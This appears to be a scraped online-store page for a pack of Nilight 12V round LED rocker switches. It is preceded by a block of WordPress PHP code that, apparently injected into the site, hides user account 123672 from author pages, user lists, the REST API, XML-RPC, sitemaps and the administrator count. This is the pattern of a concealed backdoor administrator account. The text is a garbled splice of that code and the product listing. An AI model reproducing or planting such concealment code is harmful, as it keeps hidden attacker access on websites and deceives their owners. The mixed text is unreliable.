add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 123672;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 123672 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 123672 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 123672;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 123672;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123672;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/123672(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 123672;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Nilight 90013L 12PCS Round Toggle LED Switch 12V Car Truck Rocker On-Off Control Blue Green Yellow Red,2 Years Warranty – Maverick Hardware Supplies
Nilight 90013L 12PCS Round Toggle LED Switch 12V Car Truck Rocker On-Off Control Blue Green Yellow Red,2 Years Warranty
$ 10.49 Original price was: $10.49. $ 6.29Current price is: $6.29.
These Round switches are especially suitable for 12 volt installations.They are currently used in cars, boats, racing cars, off-road vehicles, RVs, heavy trucks, ATVs and anything that uses a 12 volt power supply. Made from sturdy material that ensures long lasting durability, facilitate easy installationModel: Ship type switch KCD1Electrical life: 10,000 (times)Contact resistance: 50 (mΩ)Insulation resistance: 100 (MΩ)SPST :2 pole design (On/Off) 3rd poles with LED to be connected to earthMaterial: plastic metalSpecifications: SPST: ON-OFF Rating: 12VIllumination: DOT styled, 12V LED LightApplicable for car, motorcycle, boat, water dispenser etcPackage Included: 3 x Round Rocker Switch with Blue LED 3 x Round Rocker Switch with Red LED 3 x Round Rocker Switch with Green LED3 x Round Rocker Switch with yellow LEDPrecautions: For electrical maintenance installation, it is important to ensure that operators hold electrical qualificationsAnd take necessary power-off, insulation protection measures.
Perfect Design: Designed to connect and disconnect a DC12V 20A electrical circuit at will, SPST: ON-OFF control; 2 pole design (On/Off), 3rd poles with LED to be connected to earth. Fluorescent lamps will be lighted up when the switch is turned on
Safety Protection: This truck rocker switch control uses copper-plated silver contacts, has good electrical conductivity, and uses high-quality materials and flame-retardant casing for high safety
Easy Installation: Round on-off switch is easy to install, which is just direct setup, and no additional work required, our switch comes with a keyhole slot to prevent unwanted rotation
Widely Used: This is a Round LED rocker switch, it can work in any cars and others with a 12 Volt DC source
Package Includes: 12 x Round Toggle LED Switches (3 x Red LED; 3 x Blue LED; 3 x Green LED; 3 x Yellow LED SPST Switches). 2 Year Warranty by Nilight.
Reviews
There are no reviews yet.